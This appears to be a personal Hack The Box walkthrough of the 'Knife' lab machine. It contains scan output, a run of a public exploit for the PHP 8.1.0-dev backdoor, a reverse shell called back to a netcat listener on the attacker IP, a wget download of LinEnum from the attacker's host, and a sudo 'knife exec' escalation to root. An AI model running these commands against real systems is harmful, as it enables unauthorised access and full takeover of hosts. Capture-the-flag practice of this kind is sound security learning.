KNIFE HTB WALKTHROUGH

Enumaration

#NMAP###

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title:  Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

###AFTER NIKTO SCAN WE GOT TO KNOW PHP 8.0.1 DEV IS RUNNING AND IT IS VULNARABLE###

Gobuster

```
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u  http://10.10.10.242 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.242
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/01/14 00:09:00 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/index.php            (Status: 200) [Size: 5815]
/server-status        (Status: 403) [Size: 277]

===============================================================
2022/01/14 00:11:25 Finished
===============================================================
```

Nikto

Starting nikto scan

```
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.242
+ Target Hostname:    10.10.10.242
+ Target Port:        80
+ Start Time:         2022-01-14 00:25:30 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ Retrieved x-powered-by header: PHP/8.1.0-dev
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms
of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in
a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
```

Exploit

##EXPLOIT LINK###

https://www.exploit-db.com/exploits/49933

#EXPLOIT##

```
        ┌──(kali㉿kali)-[~/HTB/Knife]
└─$ python3
exploit.py                                                                                              2 ×
Enter the full host url:
http://10.10.10.242

Interactive shell is opened on http://10.10.10.242
Can't acces tty; job crontol turned off.
$ id
uid=1000(james) gid=1000(james) groups=1000(james)

$ whoami
james
```

#WE GOT THE SHELL BUT THIS IS NON INTERACTIVE SO I FOUND A REVERSE SHELL SCRIPT WHICH WORKED PERFECTLY##

https://raw.githubusercontent.com/flast101/php-8.1.0-dev-backdoor-rce/main/revshell_php_8.1.0-dev.py

#1ST TERMINAL##

```
┌──(kali㉿kali)-[~/HTB/Knife]
└─$ python3 php\ 8.1.0\ rev\ shell.py  http://10.10.10.242 10.10.14.2 4545            1 ⚙
```

##2ND TERMINAL##

```
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4545
listening on [any] 4545 ...

connect to [10.10.14.2] from (UNKNOWN) [10.10.10.242] 37154
```

```
bash: cannot set terminal process group (956): Inappropriate ioctl for device
bash: no job control in this shell
james@knife:/$
james@knife:/$ whoami
whoami
james
james@knife:/$ cd /home/james
cd /home/james
james@knife:~$ ls
ls
user.txt
james@knife:~$ cat user.txt
cat user.txt
86f7e66b1124face.............
james@knife:~$
```

Post Enum

# FOR POST ENUMERATION PROCESS I TRANSFERED LinEnum INTO TARGET SYSTEM###

```
┌──(kali㉿kali)-[/opt/Post_Enum/LinEnum]
└─$ python -m SimpleHTTPServer 9000
Serving HTTP on 0.0.0.0 port 9000 ...
10.10.10.242 - - [14/Jan/2022 00:54:34] "GET /LinEnum.sh HTTP/1.1" 200 -
```

#TARGET SYSTEM###

```
james@knife:/tmp$ python -c import pty;pty.spawn("bin/bash")
python -c import pty;pty.spawn("bin/bash")
bash: syntax error near unexpected token `"bin/bash"'
james@knife:/tmp$ wget http://10.10.14.2:9001/LinEnum.sh
wget http://10.10.14.2:9001/LinEnum.sh
--2022-01-14 06:25:49--  http://10.10.14.2:9001/LinEnum.sh
Connecting to 10.10.14.2:9001... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/x-sh]
Saving to: 'LinEnum.sh'

     0K .......... .......... .......... .......... .....      100% 65.5K=0.7s

2022-01-14 06:25:50 (65.5 KB/s) - 'LinEnum.sh' saved [46631/46631]

james@knife:/tmp$
```

#FOR EASY WIN FIRSTLY I TRIED GTFOBINS###

.. / knife

- Shell

- Sudo

This is capable of running ruby code.

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

◇ `knife exec -E 'exec "/bin/sh"'`

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

◇ `sudo knife exec -E 'exec "/bin/sh"'`

GOT SOME HINTS I TRIED

```
 james@knife:/tmp$ sudo knife exec -E 'exec "/bin/sh"'
sudo knife exec -E 'exec "/bin/sh"'
id
uid=0(root) gid=0(root) groups=0(root)
 ## WE GOT THE ROOT ###




 cd root
ls
delete.sh
root.txt
snap
cat root.txt
807b90221378..................
```